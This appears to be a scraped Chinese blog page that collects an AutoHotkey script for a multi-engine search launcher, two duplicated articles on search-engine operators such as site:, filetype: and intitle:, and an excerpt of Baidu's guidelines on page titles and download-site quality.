學(xué)會(huì )搜索真的很重要,能用搜索引擎解決的就沒(méi)必要問(wèn)來(lái)問(wèn)去,所以這個(gè)小工具是給還不怎么會(huì )搜索的同學(xué)用的.
演示
之前發(fā)的小工具的升級版,自用的時(shí)候用一個(gè)類(lèi)似控制臺的軟件來(lái)激活,或者自己定義快捷鍵
同步ahk社區的文章發(fā)布
主要功能,
1.多個(gè)搜索引擎可選批量搜索
2.開(kāi)啟時(shí)自動(dòng)添加剪切板作為關(guān)鍵詞
3.提示選擇不常見(jiàn)的搜索引擎高級語(yǔ)法,再也不用臨時(shí)查一下語(yǔ)法怎么用了
3.專(zhuān)門(mén)對搜索編程語(yǔ)法加入了一些強化,目前僅有加入編程語(yǔ)言后綴這個(gè)功能,之后再加
4.快速添加常用網(wǎng)站內搜索
5.后續會(huì )添加快速添加常用網(wǎng)站目錄以及對編程相關(guān)內容的搜索強化,以及一些編輯強化的功能吧,
源碼
<br /><br />#IfWinActive ahk_id hedit ^ & Enter:: Gosub Search#IfWinActive#s:: Gosub MSearch<br />MSearch: Engine:= {Bing:"https://www.bing.com/search%3F ... ot%3B , Bai:"https://www.baidu.com/s?wd=" , Google:"https://www.google.com/search?q=" , zhi:"https://www.zhihu.com/search%3 ... ot%3B , Git:"https://github.com/search?utf8=`%E2`%9C`%93&q="} copy() gui,Destroy Gui Add, Text, w-2 h-2 section Gui Add, Text, y+5 section,<br /> For k,v in Engine Gui Add, CheckBox, % ((k ~= "Google") ? "Checked" : "") . " x+5 v" k,%k%<br /> Gui add, DropDownList, y+5 xs w120 v搜索語(yǔ)法添加 g搜索語(yǔ)法,標題|內容|鏈接錨點(diǎn)|網(wǎng)站|url|特定類(lèi)型文件|關(guān)聯(lián)|信息|搜索語(yǔ)法提示|| Gui add, DropDownList,x+5 w120 v網(wǎng)站模板添加 g網(wǎng)站模板,政府|stackoverflow|指定網(wǎng)站模板||<br /> Gui add, DropDownList,x+5 w120 v編程語(yǔ)言后綴 g編程語(yǔ)言,js|python|c|ahk|編程語(yǔ)言搜索|| gui, font, s20, Verdana Gui Add, Edit ,xs-4 w500 h100 Hwndhedit vKeywords,%Clipboard% Gui Add,Button, xs-4 gSearch,Search Gui Show, ,MSearchreturn<br />; bom<br />Search: Gui submit, NoHide For i,n in Engine { If %i% = 1 run , % Engine[i] . RegExReplace(Keywords,"%","%25") }return<br />搜索語(yǔ)法: Gui submit, NoHide 搜索語(yǔ)法:="" switch 搜索語(yǔ)法添加 { case "標題": 搜索語(yǔ)法:=" intitle:" case "內容": 搜索語(yǔ)法:=" intext:" case "鏈接錨點(diǎn)": 搜索語(yǔ)法:=" inanchor:login" case "網(wǎng)站": 搜索語(yǔ)法:=" site:" case "url": 搜索語(yǔ)法:=" inurl:" case "鏈接特定url": 搜索語(yǔ)法:=" link:www.baidu.com" case "特定類(lèi)型文件": 搜索語(yǔ)法:=" filetype:" case "關(guān)聯(lián)": 搜索語(yǔ)法:=" related:" case "信息": 搜索語(yǔ)法:=" info:" } AppendEdit(hedit, 搜索語(yǔ)法) Return<br /> 網(wǎng)站模板: Gui submit, NoHide 網(wǎng)站模板:="" switch 網(wǎng)站模板添加 { case "政府": 網(wǎng)站模板:=" site:gov.cn" case "stackoverflow": 網(wǎng)站模板:=" site:stackoverflow.com"<br /> } AppendEdit(hedit, 網(wǎng)站模板) Return<br /> 編程語(yǔ)言: Gui submit, NoHide 編程語(yǔ)言:="" switch 編程語(yǔ)言后綴 { case "js": 編程語(yǔ)言:=" js" case "python": 編程語(yǔ)言:=" python" case "c": 編程語(yǔ)言:=" c" case "ahk": 編程語(yǔ)言:=" ahk" } AppendEdit(hedit, 編程語(yǔ)言) Return<br /> AppendEdit(hEdit, text) { text .= "`r`n" SendMessage, 0xB1, -2, -1,, ahk_id %hEdit% ; EM_SETSEL SendMessage, 0xC2, 0, &text,, ahk_id %hEdit% ; EM_REPLACESEL SendMessage, 0x115, 7, 0,, ahk_id %hEdit% ; WM_VSCROLL } 查看全部
聚合搜索工具升級版源碼
學(xué)會(huì )搜索真的很重要,能用搜索引擎解決的就沒(méi)必要問(wèn)來(lái)問(wèn)去,所以這個(gè)小工具是給還不怎么會(huì )搜索的同學(xué)用的.
演示
之前發(fā)的小工具的升級版,自用的時(shí)候用一個(gè)類(lèi)似控制臺的軟件來(lái)激活,或者自己定義快捷鍵
同步ahk社區的文章發(fā)布
主要功能,
1.多個(gè)搜索引擎可選批量搜索
2.開(kāi)啟時(shí)自動(dòng)添加剪切板作為關(guān)鍵詞
3.提示選擇不常見(jiàn)的搜索引擎高級語(yǔ)法,再也不用臨時(shí)查一下語(yǔ)法怎么用了
3.專(zhuān)門(mén)對搜索編程語(yǔ)法加入了一些強化,目前僅有加入編程語(yǔ)言后綴這個(gè)功能,之后再加
4.快速添加常用網(wǎng)站內搜索
5.后續會(huì )添加快速添加常用網(wǎng)站目錄以及對編程相關(guān)內容的搜索強化,以及一些編輯強化的功能吧,
源碼
<br /><br />#IfWinActive ahk_id hedit ^ & Enter:: Gosub Search#IfWinActive#s:: Gosub MSearch<br />MSearch: Engine:= {Bing:"https://www.bing.com/search%3F ... ot%3B , Bai:"https://www.baidu.com/s?wd=" , Google:"https://www.google.com/search?q=" , zhi:"https://www.zhihu.com/search%3 ... ot%3B , Git:"https://github.com/search?utf8=`%E2`%9C`%93&q="} copy() gui,Destroy Gui Add, Text, w-2 h-2 section Gui Add, Text, y+5 section,<br /> For k,v in Engine Gui Add, CheckBox, % ((k ~= "Google") ? "Checked" : "") . " x+5 v" k,%k%<br /> Gui add, DropDownList, y+5 xs w120 v搜索語(yǔ)法添加 g搜索語(yǔ)法,標題|內容|鏈接錨點(diǎn)|網(wǎng)站|url|特定類(lèi)型文件|關(guān)聯(lián)|信息|搜索語(yǔ)法提示|| Gui add, DropDownList,x+5 w120 v網(wǎng)站模板添加 g網(wǎng)站模板,政府|stackoverflow|指定網(wǎng)站模板||<br /> Gui add, DropDownList,x+5 w120 v編程語(yǔ)言后綴 g編程語(yǔ)言,js|python|c|ahk|編程語(yǔ)言搜索|| gui, font, s20, Verdana Gui Add, Edit ,xs-4 w500 h100 Hwndhedit vKeywords,%Clipboard% Gui Add,Button, xs-4 gSearch,Search Gui Show, ,MSearchreturn<br />; bom<br />Search: Gui submit, NoHide For i,n in Engine { If %i% = 1 run , % Engine[i] . RegExReplace(Keywords,"%","%25") }return<br />搜索語(yǔ)法: Gui submit, NoHide 搜索語(yǔ)法:="" switch 搜索語(yǔ)法添加 { case "標題": 搜索語(yǔ)法:=" intitle:" case "內容": 搜索語(yǔ)法:=" intext:" case "鏈接錨點(diǎn)": 搜索語(yǔ)法:=" inanchor:login" case "網(wǎng)站": 搜索語(yǔ)法:=" site:" case "url": 搜索語(yǔ)法:=" inurl:" case "鏈接特定url": 搜索語(yǔ)法:=" link:www.baidu.com" case "特定類(lèi)型文件": 搜索語(yǔ)法:=" filetype:" case "關(guān)聯(lián)": 搜索語(yǔ)法:=" related:" case "信息": 搜索語(yǔ)法:=" info:" } AppendEdit(hedit, 搜索語(yǔ)法) Return<br /> 網(wǎng)站模板: Gui submit, NoHide 網(wǎng)站模板:="" switch 網(wǎng)站模板添加 { case "政府": 網(wǎng)站模板:=" site:gov.cn" case "stackoverflow": 網(wǎng)站模板:=" site:stackoverflow.com"<br /> } AppendEdit(hedit, 網(wǎng)站模板) Return<br /> 編程語(yǔ)言: Gui submit, NoHide 編程語(yǔ)言:="" switch 編程語(yǔ)言后綴 { case "js": 編程語(yǔ)言:=" js" case "python": 編程語(yǔ)言:=" python" case "c": 編程語(yǔ)言:=" c" case "ahk": 編程語(yǔ)言:=" ahk" } AppendEdit(hedit, 編程語(yǔ)言) Return<br /> AppendEdit(hEdit, text) { text .= "`r`n" SendMessage, 0xB1, -2, -1,, ahk_id %hEdit% ; EM_SETSEL SendMessage, 0xC2, 0, &text,, ahk_id %hEdit% ; EM_REPLACESEL SendMessage, 0x115, 7, 0,, ahk_id %hEdit% ; WM_VSCROLL }
搜商 | 4個(gè)搜索命令,助你事半功倍
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 69 次瀏覽 ? 2022-05-02 19:52
網(wǎng)絡(luò )時(shí)代的到來(lái)給我們提供了豐富的信息資源,在翻譯的過(guò)程中,我們經(jīng)常會(huì )通過(guò)搜索引擎來(lái)了解背景知識、查證術(shù)語(yǔ)。
然而,從海量的網(wǎng)絡(luò )信息中準確獲取所需內容也成為新的難點(diǎn)。你是否遇到過(guò)花費大量時(shí)間卻仍找不到滿(mǎn)意結果的情況?
以下4個(gè)搜索技巧,能幫助我們提高效率,快速精準地檢索到想要的信息。
雙引號
通過(guò)這一指令,可進(jìn)行完全匹配檢索。
有時(shí),搜索引擎會(huì )對我們輸入的檢索詞進(jìn)行拆分,導致搜索結果不能如我們所愿。比如,當我們輸入翻譯技術(shù)教育,會(huì )出現只包含部分關(guān)鍵詞翻譯技術(shù)的結果,甚至還有一些不相關(guān)的內容。
這種情況下,我們可以用雙引號將檢索詞括起來(lái),將其作為一個(gè)整體。
比如,輸入"翻譯技術(shù)教育",搜索結果中就會(huì )包含雙引號中出現的所有字詞,連順序也完全匹配。
我們可以從以下兩張圖片中,看到不加雙引號與加雙引號的區別。加上雙引號后,相關(guān)結果從原來(lái)的2060萬(wàn)個(gè)減少到了68個(gè),大大提高了精確度。
關(guān)鍵詞+空格+site:+網(wǎng)址
通過(guò)這一指令,可以在指定網(wǎng)站上搜索相應的關(guān)鍵詞。
比如,輸入 新能源公交車(chē)輛 site:,其結果便是中國日報網(wǎng)上關(guān)于“新能源公交車(chē)輛”的內容。
另外,如果我們想在政府官網(wǎng)或學(xué)校官網(wǎng)等某一類(lèi)網(wǎng)站搜索相關(guān)信息,可以在site:后加上域名后綴,比如site:.或者site:.。
關(guān)鍵詞+空格+filetype:+文件格式
通過(guò)這一指令,可以搜索pdf、doc、xls、ppt等指定文件格式的資源。
比如,輸入 translation technology filetype:pdf,搜索結果就是包含translation technology這個(gè)關(guān)鍵詞的所有pdf文件。
intitle:+關(guān)鍵詞
通過(guò)這一指令,可以限定所檢索的關(guān)鍵詞必須出現在搜索結果的標題中。
比如,輸入intitle:翻譯技術(shù)的應用,就可以過(guò)濾掉那些沒(méi)有在標題中提及關(guān)鍵詞的結果。
學(xué)習搜索技巧,提高“搜商”,能讓我們更好更快地解決問(wèn)題,不至于淹沒(méi)在互聯(lián)網(wǎng)的海量信息之中??炜煸嚻饋?lái)吧!
END
【往期回顧】
微信公眾號
語(yǔ)言服務(wù)行業(yè) 查看全部
搜商 | 4個(gè)搜索命令,助你事半功倍
網(wǎng)絡(luò )時(shí)代的到來(lái)給我們提供了豐富的信息資源,在翻譯的過(guò)程中,我們經(jīng)常會(huì )通過(guò)搜索引擎來(lái)了解背景知識、查證術(shù)語(yǔ)。
然而,從海量的網(wǎng)絡(luò )信息中準確獲取所需內容也成為新的難點(diǎn)。你是否遇到過(guò)花費大量時(shí)間卻仍找不到滿(mǎn)意結果的情況?
以下4個(gè)搜索技巧,能幫助我們提高效率,快速精準地檢索到想要的信息。
雙引號
通過(guò)這一指令,可進(jìn)行完全匹配檢索。
有時(shí),搜索引擎會(huì )對我們輸入的檢索詞進(jìn)行拆分,導致搜索結果不能如我們所愿。比如,當我們輸入翻譯技術(shù)教育,會(huì )出現只包含部分關(guān)鍵詞翻譯技術(shù)的結果,甚至還有一些不相關(guān)的內容。
這種情況下,我們可以用雙引號將檢索詞括起來(lái),將其作為一個(gè)整體。
比如,輸入"翻譯技術(shù)教育",搜索結果中就會(huì )包含雙引號中出現的所有字詞,連順序也完全匹配。
我們可以從以下兩張圖片中,看到不加雙引號與加雙引號的區別。加上雙引號后,相關(guān)結果從原來(lái)的2060萬(wàn)個(gè)減少到了68個(gè),大大提高了精確度。
關(guān)鍵詞+空格+site:+網(wǎng)址
通過(guò)這一指令,可以在指定網(wǎng)站上搜索相應的關(guān)鍵詞。
比如,輸入 新能源公交車(chē)輛 site:,其結果便是中國日報網(wǎng)上關(guān)于“新能源公交車(chē)輛”的內容。
另外,如果我們想在政府官網(wǎng)或學(xué)校官網(wǎng)等某一類(lèi)網(wǎng)站搜索相關(guān)信息,可以在site:后加上域名后綴,比如site:.或者site:.。
關(guān)鍵詞+空格+filetype:+文件格式
通過(guò)這一指令,可以搜索pdf、doc、xls、ppt等指定文件格式的資源。
比如,輸入 translation technology filetype:pdf,搜索結果就是包含translation technology這個(gè)關(guān)鍵詞的所有pdf文件。
intitle:+關(guān)鍵詞
通過(guò)這一指令,可以限定所檢索的關(guān)鍵詞必須出現在搜索結果的標題中。
比如,輸入intitle:翻譯技術(shù)的應用,就可以過(guò)濾掉那些沒(méi)有在標題中提及關(guān)鍵詞的結果。
學(xué)習搜索技巧,提高“搜商”,能讓我們更好更快地解決問(wèn)題,不至于淹沒(méi)在互聯(lián)網(wǎng)的海量信息之中??炜煸嚻饋?lái)吧!
END
【往期回顧】
微信公眾號
語(yǔ)言服務(wù)行業(yè)
推薦10個(gè)超級實(shí)用的谷歌搜索技巧,讓你的效率提高十倍!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 76 次瀏覽 ? 2022-06-19 00:23
相信大家在使用搜索引擎的時(shí)候,大部分情況下都是直接輸入要搜索的關(guān)鍵詞,然后在搜索結果里一個(gè)個(gè)點(diǎn)開(kāi)查找。
但除了特定信息外,搜索引擎同時(shí)也會(huì )返回大量無(wú)關(guān)的信息。
有時(shí)候我們可能翻好幾頁(yè)也不一定能找到滿(mǎn)意的結果,平白增加不少的工作量。
其實(shí),有一些特殊的技巧,可以對搜索結果進(jìn)行限制和篩選,縮小檢索范圍,讓搜索結果更加準確,大大提高我們的效率。
下面,擴展迷就給大家介紹一些在進(jìn)行谷歌搜索時(shí)可以使用的便捷技巧。
其中,部分技巧在其他搜索引擎中也同樣支持。
1. 強制精確匹配
當你輸入某個(gè)長(cháng)句或者短語(yǔ)進(jìn)行搜索后,搜索引擎會(huì )默認顯示所有分別包含各個(gè)單詞的相關(guān)信息。
要么就是,只匹配到了你輸入的部分字詞,這就很令人糟心了。
其實(shí)這時(shí)候,你可以使用引號來(lái)強制完全匹配所有字符。
如:“what is extension”
加引號前的搜索結果如下:
加上引號后的搜索結果:
再比如:“擴展迷網(wǎng)站的地址”
加上引號前的搜索結果是這樣的:
加上引號后搜出來(lái)是這樣的:
在百度搜索上,強制匹配技巧同樣適用。
2. AND運算符
很多人不知道的是,絕大部分搜索引擎都允許在搜索中使用邏輯運算符。
如果你想查詢(xún)同時(shí)包含多個(gè)搜索詞的所有站點(diǎn),只需要在搜索引擎中輸入:搜索詞 AND 搜索詞。
搜索引擎則會(huì )返回包含兩者的搜索結果。
比如:擴展迷 AND 下載
3. OR運算符
與AND相反,OR可以返回你輸入的多個(gè)搜索詞分別相關(guān)的結果,而不僅僅是和多個(gè)搜索詞都同時(shí)相關(guān)的結果。
巧妙使用OR運算符,可以讓你在未能確定哪個(gè)關(guān)鍵詞對于搜索結果起決定作用時(shí),依然可以確保搜索結果的準確性。
比如:擴展迷 OR python
4. 排除指定關(guān)鍵詞
如果在進(jìn)行準確搜索時(shí)沒(méi)有找到自己想要的結果,你還可以對包含特定詞匯的信息進(jìn)行排除,僅需使用減號,即 -就可以了(注意減號前有空格)。
比如搜索:擴展迷,第二條結果包含了嗶哩嗶哩網(wǎng)站的內容。
使用排除符號搜索:擴展迷 -嗶哩嗶哩
可以看到,包含嗶哩嗶哩的結果就都沒(méi)有了。
通過(guò)這個(gè)技巧,大家在搜索指定的教程、新聞資訊的時(shí)候就方便得多了。
5. 通配符
*,星號,通配符,可以用作模糊搜索。
如果我們忘記了需要搜索的詞句的某一部分,就可以用*代替缺失的部分。
比如:擴*迷Extfans
這個(gè)技巧在查歌詞、文章原文的時(shí)候非常省時(shí)省力,而不會(huì )返回太多無(wú)關(guān)結果。
6. 站內搜索
眾所周知,許多網(wǎng)站上內容雖然豐富,但欠缺了站內搜索的入口,當我們想要查找網(wǎng)站上的某個(gè)資源的話(huà)就比較麻煩了。
實(shí)際上,搜索引擎也可以幫你完成站內搜索的工作。只需輸入:搜索詞site:網(wǎng)址
比如搜索:下載工具 site:
或:site: 下載工具
直接就可以找到擴展迷網(wǎng)站上有關(guān)“下載工具”的所有內容了。
順帶一提,如果再結合本文第一條的精準搜索功能,站內搜索將會(huì )變得更加強大。
7. 在網(wǎng)頁(yè)標題、鏈接和正文中搜索
如果你需要找出和搜索詞相關(guān)的所有網(wǎng)頁(yè)標題、鏈接和正文,只需要按下方規則搜索即可:
把搜索范圍限定在網(wǎng)頁(yè)標題中——intitle:搜索詞
把搜索范圍限定在url鏈接中——inurl:搜索詞
把搜索范圍限定在正文中——intext:搜索詞
例如,在搜索引擎中輸入:intitle: 擴展迷安裝教程
就會(huì )得到所有標題中包含“擴展迷安裝教程”的網(wǎng)頁(yè)了。
8.搜索相關(guān)網(wǎng)站
想要知道與某個(gè)網(wǎng)站相關(guān)的網(wǎng)站還有哪些?你僅需在搜索引擎中輸入related:網(wǎng)址,就可以了。
比如:related:
即可得到所有和相關(guān)的網(wǎng)站反饋結果。
9. 搜索指定文件類(lèi)型
使用這個(gè)技巧,可以快速幫你找到各個(gè)格式的文件。
輸入:filetype:文檔格式 搜索詞
比如:filetype:pdf 疫情防控
10. 在某個(gè)時(shí)間范圍內搜索
如果你想找出某段時(shí)間內的搜索結果,可以在搜索引擎中輸入:搜索詞年份..年份(搜索詞和年份之間有空格)。
比如:擴展迷油猴腳本 2020..2021
總結
盡管有些技能或許并不常用,但精準搜索和站內搜索這些技能的使用范圍還是相當廣泛的。
更重要的是,以上提到的技巧都可以單獨或搭配使用,中間用空格隔開(kāi)即可。
比如,在擴展迷網(wǎng)站上搜索標題含“油猴腳本”的內容。
只需輸入:intitle:“油猴腳本” site:
再比如,在豆瓣上搜索標題包含“你好李煥英”的內容。
輸入:intitle:“你好李煥英” site:
如果你能夠靈活對上述所有搜索技能進(jìn)行組合運用,完全能按照自己的意愿縮小或者擴展搜索范圍,達到事半功倍的效果。
隨著(zhù)谷歌等搜索引擎中提供的內容越來(lái)越繁雜,對于用戶(hù)來(lái)說(shuō),掌握這些搜索技巧還是非常必要的。
本文為公眾號【擴展迷Extfans】原創(chuàng ) 查看全部
推薦10個(gè)超級實(shí)用的谷歌搜索技巧,讓你的效率提高十倍!
相信大家在使用搜索引擎的時(shí)候,大部分情況下都是直接輸入要搜索的關(guān)鍵詞,然后在搜索結果里一個(gè)個(gè)點(diǎn)開(kāi)查找。
但除了特定信息外,搜索引擎同時(shí)也會(huì )返回大量無(wú)關(guān)的信息。
有時(shí)候我們可能翻好幾頁(yè)也不一定能找到滿(mǎn)意的結果,平白增加不少的工作量。
其實(shí),有一些特殊的技巧,可以對搜索結果進(jìn)行限制和篩選,縮小檢索范圍,讓搜索結果更加準確,大大提高我們的效率。
下面,擴展迷就給大家介紹一些在進(jìn)行谷歌搜索時(shí)可以使用的便捷技巧。
其中,部分技巧在其他搜索引擎中也同樣支持。
1. 強制精確匹配
當你輸入某個(gè)長(cháng)句或者短語(yǔ)進(jìn)行搜索后,搜索引擎會(huì )默認顯示所有分別包含各個(gè)單詞的相關(guān)信息。
要么就是,只匹配到了你輸入的部分字詞,這就很令人糟心了。
其實(shí)這時(shí)候,你可以使用引號來(lái)強制完全匹配所有字符。
如:“what is extension”
加引號前的搜索結果如下:
加上引號后的搜索結果:
再比如:“擴展迷網(wǎng)站的地址”
加上引號前的搜索結果是這樣的:
加上引號后搜出來(lái)是這樣的:
在百度搜索上,強制匹配技巧同樣適用。
2. AND運算符
很多人不知道的是,絕大部分搜索引擎都允許在搜索中使用邏輯運算符。
如果你想查詢(xún)同時(shí)包含多個(gè)搜索詞的所有站點(diǎn),只需要在搜索引擎中輸入:搜索詞 AND 搜索詞。
搜索引擎則會(huì )返回包含兩者的搜索結果。
比如:擴展迷 AND 下載
3. OR運算符
與AND相反,OR可以返回你輸入的多個(gè)搜索詞分別相關(guān)的結果,而不僅僅是和多個(gè)搜索詞都同時(shí)相關(guān)的結果。
巧妙使用OR運算符,可以讓你在未能確定哪個(gè)關(guān)鍵詞對于搜索結果起決定作用時(shí),依然可以確保搜索結果的準確性。
比如:擴展迷 OR python
4. 排除指定關(guān)鍵詞
如果在進(jìn)行準確搜索時(shí)沒(méi)有找到自己想要的結果,你還可以對包含特定詞匯的信息進(jìn)行排除,僅需使用減號,即 -就可以了(注意減號前有空格)。
比如搜索:擴展迷,第二條結果包含了嗶哩嗶哩網(wǎng)站的內容。
使用排除符號搜索:擴展迷 -嗶哩嗶哩
可以看到,包含嗶哩嗶哩的結果就都沒(méi)有了。
通過(guò)這個(gè)技巧,大家在搜索指定的教程、新聞資訊的時(shí)候就方便得多了。
5. 通配符
*,星號,通配符,可以用作模糊搜索。
如果我們忘記了需要搜索的詞句的某一部分,就可以用*代替缺失的部分。
比如:擴*迷Extfans
這個(gè)技巧在查歌詞、文章原文的時(shí)候非常省時(shí)省力,而不會(huì )返回太多無(wú)關(guān)結果。
6. 站內搜索
眾所周知,許多網(wǎng)站上內容雖然豐富,但欠缺了站內搜索的入口,當我們想要查找網(wǎng)站上的某個(gè)資源的話(huà)就比較麻煩了。
實(shí)際上,搜索引擎也可以幫你完成站內搜索的工作。只需輸入:搜索詞site:網(wǎng)址
比如搜索:下載工具 site:
或:site: 下載工具
直接就可以找到擴展迷網(wǎng)站上有關(guān)“下載工具”的所有內容了。
順帶一提,如果再結合本文第一條的精準搜索功能,站內搜索將會(huì )變得更加強大。
7. 在網(wǎng)頁(yè)標題、鏈接和正文中搜索
如果你需要找出和搜索詞相關(guān)的所有網(wǎng)頁(yè)標題、鏈接和正文,只需要按下方規則搜索即可:
把搜索范圍限定在網(wǎng)頁(yè)標題中——intitle:搜索詞
把搜索范圍限定在url鏈接中——inurl:搜索詞
把搜索范圍限定在正文中——intext:搜索詞
例如,在搜索引擎中輸入:intitle: 擴展迷安裝教程
就會(huì )得到所有標題中包含“擴展迷安裝教程”的網(wǎng)頁(yè)了。
8.搜索相關(guān)網(wǎng)站
想要知道與某個(gè)網(wǎng)站相關(guān)的網(wǎng)站還有哪些?你僅需在搜索引擎中輸入related:網(wǎng)址,就可以了。
比如:related:
即可得到所有和相關(guān)的網(wǎng)站反饋結果。
9. 搜索指定文件類(lèi)型
使用這個(gè)技巧,可以快速幫你找到各個(gè)格式的文件。
輸入:filetype:文檔格式 搜索詞
比如:filetype:pdf 疫情防控
10. 在某個(gè)時(shí)間范圍內搜索
如果你想找出某段時(shí)間內的搜索結果,可以在搜索引擎中輸入:搜索詞年份..年份(搜索詞和年份之間有空格)。
比如:擴展迷油猴腳本 2020..2021
總結
盡管有些技能或許并不常用,但精準搜索和站內搜索這些技能的使用范圍還是相當廣泛的。
更重要的是,以上提到的技巧都可以單獨或搭配使用,中間用空格隔開(kāi)即可。
比如,在擴展迷網(wǎng)站上搜索標題含“油猴腳本”的內容。
只需輸入:intitle:“油猴腳本” site:
再比如,在豆瓣上搜索標題包含“你好李煥英”的內容。
輸入:intitle:“你好李煥英” site:
如果你能夠靈活對上述所有搜索技能進(jìn)行組合運用,完全能按照自己的意愿縮小或者擴展搜索范圍,達到事半功倍的效果。
隨著(zhù)谷歌等搜索引擎中提供的內容越來(lái)越繁雜,對于用戶(hù)來(lái)說(shuō),掌握這些搜索技巧還是非常必要的。
本文為公眾號【擴展迷Extfans】原創(chuàng )
百度搜索頁(yè)面規范指南:網(wǎng)站站點(diǎn)或智能小程序滿(mǎn)足用戶(hù)需求,標題,內容
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 144 次瀏覽 ? 2022-06-18 10:20
百度搜索頁(yè)面規范指南--用戶(hù)需求滿(mǎn)足
【需要找百度小程序開(kāi)發(fā),網(wǎng)站制作開(kāi)發(fā)公司直接找我們】
2.1 標題規范 ——針對頁(yè)面標題違規問(wèn)題
2017年9月,百度搜索發(fā)布清風(fēng)算法,嚴懲開(kāi)發(fā)者通過(guò)頁(yè)面標題作弊,欺騙用戶(hù)并獲得點(diǎn)擊的行為;從而保證搜索用戶(hù)體驗,促進(jìn)搜索生態(tài)良性發(fā)展。
2018年11月,百度搜索針對頁(yè)面標題作弊行為發(fā)布《百度搜索頁(yè)面標題規范》,對搜索生態(tài)下的網(wǎng)頁(yè)標題進(jìn)行了嚴格的規范和要求。不符合《百度搜索頁(yè)面標題規范》的站點(diǎn),將會(huì )被清風(fēng)算法1.0覆蓋,受到限制搜索展現的處理。
《百度搜索頁(yè)面標題規范》
1.標題的原則
? 站點(diǎn)或智能小程序應確保每個(gè)頁(yè)面都有指定的標題,且同一站點(diǎn)的不同頁(yè)面應分別使用不同的標題;
? 頁(yè)面標題應準確概括頁(yè)面內容,避免使用模糊和不相關(guān)的描述;
? 頁(yè)面標題應簡(jiǎn)明扼要,避免使用冗長(cháng)的標題,避免關(guān)鍵詞堆砌;
? 頁(yè)面標題的符號使用正確,建議參考百度建議的標題符號用法(詳細內容請參見(jiàn)后文“3.2標題的符號”部分)
2.不允許出現的標題類(lèi)型
標題存在以下惡劣問(wèn)題時(shí),會(huì )對這類(lèi)結果做相應的搜索結果展現限制。
2.1標題內容虛假
指標題和頁(yè)面內容不相符,欺騙誘導用戶(hù)點(diǎn)擊的情況。
類(lèi)型1:虛假官網(wǎng)
指非官方站點(diǎn)或智能小程序,但標題表述為官網(wǎng)的情況。
問(wèn)題示例12:非官方網(wǎng)站但標題為官網(wǎng)的負面案例
類(lèi)型2:無(wú)法滿(mǎn)足用戶(hù)需求
如:標題中標明可下載或在線(xiàn)閱讀小說(shuō)txt,但是頁(yè)面中不提供下載服務(wù)或誘導用戶(hù)下載APP;或在標題中說(shuō)明有百度云下載、支持在線(xiàn)觀(guān)看,但是頁(yè)面既不能下載,又不能在線(xiàn)觀(guān)看。
問(wèn)題示例13:標題標明可下載小說(shuō),但頁(yè)面中誘導下載APP的負面案例
類(lèi)型3:標題表述部分虛假
如:某網(wǎng)頁(yè)標題中標明有江蘇一本大學(xué)排名,但頁(yè)面只有大學(xué)名單,而沒(méi)有排名相關(guān)的內容。
2.2標題重復、堆砌
指站點(diǎn)或智能小程序通過(guò)頁(yè)面標題過(guò)度重復或堆砌等手段,獲取不正當流量的情況。
類(lèi)型1:標題關(guān)鍵詞大量重復
類(lèi)型2:標題大量堆砌語(yǔ)義相近的關(guān)鍵詞標簽
問(wèn)題示例14:標題堆砌關(guān)鍵詞的負面案例
3.優(yōu)質(zhì)頁(yè)面標題建議
優(yōu)質(zhì)的頁(yè)面標題,不僅能明確表達頁(yè)面的主旨目的,更能給搜索用戶(hù)有效的引導,吸引目標用戶(hù)點(diǎn)擊。對符合優(yōu)質(zhì)規范的標題,百度將會(huì )給予更多的展現優(yōu)待。
3.1 標題的構成
百度頁(yè)面標題可以概括為“核心詞+修飾詞”的格式,修飾詞建議不多于3個(gè)。
3.2 標題的符號
4.百度標題改寫(xiě)機制
為保證搜索用戶(hù)的體驗,百度搜索將會(huì )對部分易造成用戶(hù)誤導的頁(yè)面標題進(jìn)行相應的改寫(xiě),包括但不限于以下幾種情況:
對于標題堆砌等過(guò)度優(yōu)化的站點(diǎn)首頁(yè),百度搜索會(huì )將過(guò)度優(yōu)化的標題直接改寫(xiě)為站點(diǎn)名稱(chēng)或公司名稱(chēng);
對于部分表意模糊的頁(yè)面,百度搜索將會(huì )從頁(yè)面中提取頁(yè)面關(guān)鍵信息補充在標題中,保證用戶(hù)能夠及時(shí)獲取有效信息。
針對標題堆砌的改寫(xiě)示例:針對標題堆砌問(wèn)題的改寫(xiě)示例
2.2 清風(fēng)算法3.0——針對下載站違規問(wèn)題
為了規范下載行業(yè)站點(diǎn)及智能小程序的欺騙下載、捆綁下載等傷害用戶(hù)的行為,百度搜索分別于2018年4月、2018年10月發(fā)布清風(fēng)算法2.0、3.0版本,清風(fēng)算法覆蓋的問(wèn)題范圍從標題作弊行為擴展到下載行業(yè)站點(diǎn)及智能小程序的欺騙用戶(hù)行為。
2018年10月,百度搜索發(fā)布《百度搜索下載站質(zhì)量規范》,對百度搜索范圍內下載站點(diǎn)及智能小程序的行為進(jìn)行嚴格要求和控制。不符合此規范的下載站或智能小程序,將會(huì )被清風(fēng)算法3.0覆蓋,受到搜索展現的限制。
《百度下載站質(zhì)量規范》
1.下載站質(zhì)量規范概要
下載站需遵守以下原則,堅持為用戶(hù)提供高質(zhì)量、有效,安全的下載服務(wù):
?、俦WC軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等惡意行為;
?、跓o(wú)”李鬼下載“行為,通過(guò)普通下載/本地下載入口下載的軟件必須為下載按鈕文字描述的目標軟件;
?、巯螺d頁(yè)面中不能存在與下載按鈕類(lèi)似的誘導類(lèi)廣告;
?、茉试S存在安全下載/高速下載的情況,但是頁(yè)面中必須有明確說(shuō)明解釋。
2.下載站質(zhì)量規范說(shuō)明
2.1 PC端下載站質(zhì)量規范
圖示:PC端下載站頁(yè)面
a板塊.本地下載:
應保證下載軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等問(wèn)題;
本地下載/普通下載點(diǎn)擊后,效果必須為直接下載目標軟件,不能存在下載內容與描述不符的“李鬼下載”問(wèn)題;
b板塊.高速下載:
若存在高速下載情況,需要在頁(yè)面上明確告知用戶(hù)其與本地下載(如上圖a區所示)的區別,如:說(shuō)明實(shí)際效果為先下載高速下載器,然后在高速下載器中下載目標軟件(如上圖b區所示);
c板塊.誘導廣告:
下載頁(yè)面中不能存在與下載按鈕相似的誘導類(lèi)廣告,如上圖c區所示的情況是不允許出現的。
